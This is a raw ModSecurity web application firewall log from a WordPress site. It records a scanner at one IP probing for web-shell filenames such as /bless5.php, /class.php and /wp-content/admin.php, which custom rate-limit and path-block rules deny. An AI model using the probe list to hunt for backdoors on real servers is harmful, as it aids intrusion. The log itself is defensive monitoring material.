[Tue Feb 03 23:22:44.708132 2026] [:error] [pid 42922:tid 42994] [client 20.194.44.29:15000] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/radio.php"] [unique_id "aYISxGazX4WPS_dQRkjCywAAAIk"]
[Tue Feb 03 23:22:57.138878 2026] [:error] [pid 42920:tid 42933] [client 20.194.44.29:8489] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aYIS0Six3YKltG4EU0mr6gAAAAQ"]
[Tue Feb 03 23:22:58.947495 2026] [:error] [pid 42920:tid 42932] [client 20.194.44.29:53498] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aYIS0iix3YKltG4EU0mr7QAAAAM"]
[Tue Feb 03 23:23:06.156142 2026] [:error] [pid 5148:tid 5171] [client 20.194.44.29:44321] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aYIS2r83HCHLtUIbS7ISugAAAVQ"]
[Tue Feb 03 23:23:08.019082 2026] [:error] [pid 43028:tid 43035] [client 20.194.44.29:44299] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aYIS3FnHWnJD4cJC5DvlGgAAAMU"]
[Tue Feb 03 23:23:08.710160 2026] [:error] [pid 43028:tid 43040] [client 20.194.44.29:53448] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aYIS3FnHWnJD4cJC5DvlGwAAAMo"]
[Tue Feb 03 23:23:09.762388 2026] [:error] [pid 5229:tid 5252] [client 20.194.44.29:54424] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aYIS3UKmEgmJub93yUowXwAAAZU"]
[Tue Feb 03 23:23:16.242968 2026] [:error] [pid 42922:tid 43008] [client 20.194.44.29:55190] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aYIS5GazX4WPS_dQRkjC4gAAAJc"]
[Tue Feb 03 23:23:19.713829 2026] [:error] [pid 5229:tid 5244] [client 20.194.44.29:53483] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aYIS50KmEgmJub93yUowbwAAAY0"]
[Tue Feb 03 23:23:28.108426 2026] [:error] [pid 5148:tid 5161] [client 20.194.44.29:16187] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYIS8L83HCHLtUIbS7IS1QAAAUo"]
[Tue Feb 03 23:23:29.162602 2026] [:error] [pid 42922:tid 43006] [client 20.194.44.29:8240] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYIS8WazX4WPS_dQRkjC7QAAAJU"]
[Tue Feb 03 23:23:31.823563 2026] [:error] [pid 5229:tid 5236] [client 20.194.44.29:9978] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYIS80KmEgmJub93yUowfQAAAYU"]
[Tue Feb 03 23:23:32.987822 2026] [:error] [pid 28720:tid 28734] [client 20.194.44.29:55178] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYIS9GmRXm2bmr_sYib4aAAAAQw"]
[Tue Feb 03 23:23:35.372251 2026] [:error] [pid 28720:tid 28733] [client 20.194.44.29:53455] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aYIS92mRXm2bmr_sYib4bgAAAQs"]
[Tue Feb 03 23:23:51.211475 2026] [:error] [pid 43028:tid 43048] [client 20.194.44.29:9163] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aYITB1nHWnJD4cJC5DvlYgAAANI"]
[Tue Feb 03 23:23:52.054718 2026] [:error] [pid 43028:tid 43032] [client 20.194.44.29:9187] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aYITCFnHWnJD4cJC5DvlaAAAAMI"]
[Tue Feb 03 23:23:53.504735 2026] [:error] [pid 43028:tid 43038] [client 20.194.44.29:8205] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aYITCVnHWnJD4cJC5DvlbgAAAMg"]
[Tue Feb 03 23:23:57.533746 2026] [:error] [pid 43028:tid 43046] [client 20.194.44.29:54408] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aYITDVnHWnJD4cJC5DvleQAAANA"]
[Tue Feb 03 23:23:58.407613 2026] [:error] [pid 43028:tid 43040] [client 20.194.44.29:9449] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aYITDlnHWnJD4cJC5DvlfQAAAMo"]
[Tue Feb 03 23:24:00.058302 2026] [:error] [pid 42922:tid 43004] [client 20.194.44.29:14317] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aYITEGazX4WPS_dQRkjDGgAAAJM"]
[Tue Feb 03 23:24:01.120612 2026] [:error] [pid 42920:tid 42952] [client 20.194.44.29:9451] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aYITESix3YKltG4EU0msIgAAABc"]
[Tue Feb 03 23:24:02.794983 2026] [:error] [pid 42922:tid 42986] [client 20.194.44.29:9946] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless5.php"] [unique_id "aYITEmazX4WPS_dQRkjDHgAAAIE"]
[Tue Feb 03 23:24:13.565988 2026] [:error] [pid 5148:tid 5167] [client 20.194.44.29:15090] [client 20.194.44.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aYITHb83HCHLtUIbS7ITGAAAAVA"]
[Tue Feb 03 23:24:17.589067 2026] [:error] [pid 43028:tid 43036] [client 20.194.44.29:52776] [client 20.194.44.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aYITIVnHWnJD4cJC5DvlkgAAAMY"]
[Tue Feb 03 23:25:43.768866 2026] [:error] [pid 42922:tid 42987] [client 20.194.44.29:15095] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aYITd2azX4WPS_dQRkjDiwAAAII"]
[Tue Feb 03 23:25:45.392458 2026] [:error] [pid 43028:tid 43043] [client 20.194.44.29:55512] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aYITeVnHWnJD4cJC5DvmFAAAAM0"]
[Tue Feb 03 23:25:47.873090 2026] [:error] [pid 28720:tid 28744] [client 20.194.44.29:14331] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aYITe2mRXm2bmr_sYib43AAAARY"]
[Tue Feb 03 23:25:55.170693 2026] [:error] [pid 42922:tid 42988] [client 20.194.44.29:55199] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass4.php"] [unique_id "aYITg2azX4WPS_dQRkjDkQAAAIM"]
[Tue Feb 03 23:26:08.947829 2026] [:error] [pid 5229:tid 5239] [client 20.194.44.29:55177] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2clas.php"] [unique_id "aYITkEKmEgmJub93yUoxQwAAAYg"]
[Tue Feb 03 23:26:12.186380 2026] [:error] [pid 42922:tid 42998] [client 20.194.44.29:14287] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "aYITlGazX4WPS_dQRkjDmgAAAI0"]
[Tue Feb 03 23:26:14.786435 2026] [:error] [pid 28720:tid 28734] [client 20.194.44.29:44325] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "aYITlmmRXm2bmr_sYib5AQAAAQw"]
[Tue Feb 03 23:26:16.614983 2026] [:error] [pid 42922:tid 42990] [client 20.194.44.29:8346] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "aYITmGazX4WPS_dQRkjDnQAAAIU"]
[Tue Feb 03 23:26:17.455665 2026] [:error] [pid 43028:tid 43038] [client 20.194.44.29:14303] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ave.php"] [unique_id "aYITmVnHWnJD4cJC5DvmXwAAAMg"]
[Tue Feb 03 23:26:19.926809 2026] [:error] [pid 42920:tid 42939] [client 20.194.44.29:54428] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aYITmyix3YKltG4EU0mstgAAAAo"]
[Tue Feb 03 23:26:23.726815 2026] [:error] [pid 42920:tid 42943] [client 20.194.44.29:55516] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aYITnyix3YKltG4EU0msuwAAAA4"]
[Tue Feb 03 23:26:27.205285 2026] [:error] [pid 42922:tid 42985] [client 20.194.44.29:14278] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aYITo2azX4WPS_dQRkjDsgAAAIA"]
[Tue Feb 03 23:26:30.167586 2026] [:error] [pid 5229:tid 5248] [client 20.194.44.29:9209] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aYITpkKmEgmJub93yUoxZwAAAZE"]
[Tue Feb 03 23:26:58.998038 2026] [:error] [pid 42921:tid 42977] [client 20.194.44.29:9468] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aYITwoblShffGl-01oehNQAAAFM"]
[Tue Feb 03 23:27:00.938522 2026] [:error] [pid 5229:tid 5233] [client 20.194.44.29:54974] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aYITxEKmEgmJub93yUoxiQAAAYI"]
[Tue Feb 03 23:27:01.801007 2026] [:error] [pid 42920:tid 42951] [client 20.194.44.29:9154] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aYITxSix3YKltG4EU0ms4QAAABY"]
[Tue Feb 03 23:27:07.391384 2026] [:error] [pid 5229:tid 5254] [client 20.194.44.29:54933] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccou.php"] [unique_id "aYITy0KmEgmJub93yUoxpQAAAZc"]
[Tue Feb 03 23:27:10.675772 2026] [:error] [pid 42922:tid 42985] [client 20.194.44.29:8350] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aYITzmazX4WPS_dQRkjD8wAAAIA"]
[Tue Feb 03 23:27:48.928389 2026] [:error] [pid 42922:tid 43006] [client 20.194.44.29:8203] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aYIT9GazX4WPS_dQRkjECgAAAJU"]
[Tue Feb 03 23:27:50.404003 2026] [:error] [pid 42922:tid 43007] [client 20.194.44.29:8238] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aYIT9mazX4WPS_dQRkjEDgAAAJY"]
[Tue Feb 03 23:27:57.814080 2026] [:error] [pid 43028:tid 43041] [client 20.194.44.29:14322] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aYIT_VnHWnJD4cJC5DvnFgAAAMs"]
[Tue Feb 03 23:28:21.191376 2026] [:error] [pid 42920:tid 42933] [client 20.194.44.29:9941] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aYIUFSix3YKltG4EU0mtHgAAAAQ"]
[Tue Feb 03 23:28:26.029044 2026] [:error] [pid 43028:tid 43035] [client 20.194.44.29:5721] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aYIUGlnHWnJD4cJC5DvnUQAAAMU"]
[Tue Feb 03 23:28:38.620006 2026] [:error] [pid 5229:tid 5244] [client 20.194.44.29:5844] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aYIUJkKmEgmJub93yUox_gAAAY0"]
[Tue Feb 03 23:28:39.932737 2026] [:error] [pid 42920:tid 42941] [client 20.194.44.29:13906] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aYIUJyix3YKltG4EU0mtNQAAAAw"]
[Tue Feb 03 23:28:42.374887 2026] [:error] [pid 5229:tid 5251] [client 20.194.44.29:9700] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aYIUKkKmEgmJub93yUoyCgAAAZQ"]
[Tue Feb 03 23:28:43.590007 2026] [:error] [pid 28720:tid 28731] [client 20.194.44.29:54993] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aYIUK2mRXm2bmr_sYib5mwAAAQk"]
[Tue Feb 03 23:28:44.888255 2026] [:error] [pid 5148:tid 5168] [client 20.194.44.29:55773] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aYIULL83HCHLtUIbS7IUigAAAVE"]
[Tue Feb 03 23:28:52.972669 2026] [:error] [pid 5229:tid 5247] [client 20.194.44.29:8463] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aYIUNEKmEgmJub93yUoyGQAAAZA"]
[Tue Feb 03 23:28:58.146362 2026] [:error] [pid 5229:tid 5232] [client 20.194.44.29:9684] [client 20.194.44.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aYIUOkKmEgmJub93yUoyJAAAAYE"]
[Wed Feb 04 00:21:37.381858 2026] [:error] [pid 5148:tid 5175] [client 43.166.130.123:41044] [client 43.166.130.123] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aYIgkb83HCHLtUIbS7IkBAAAAVg"]
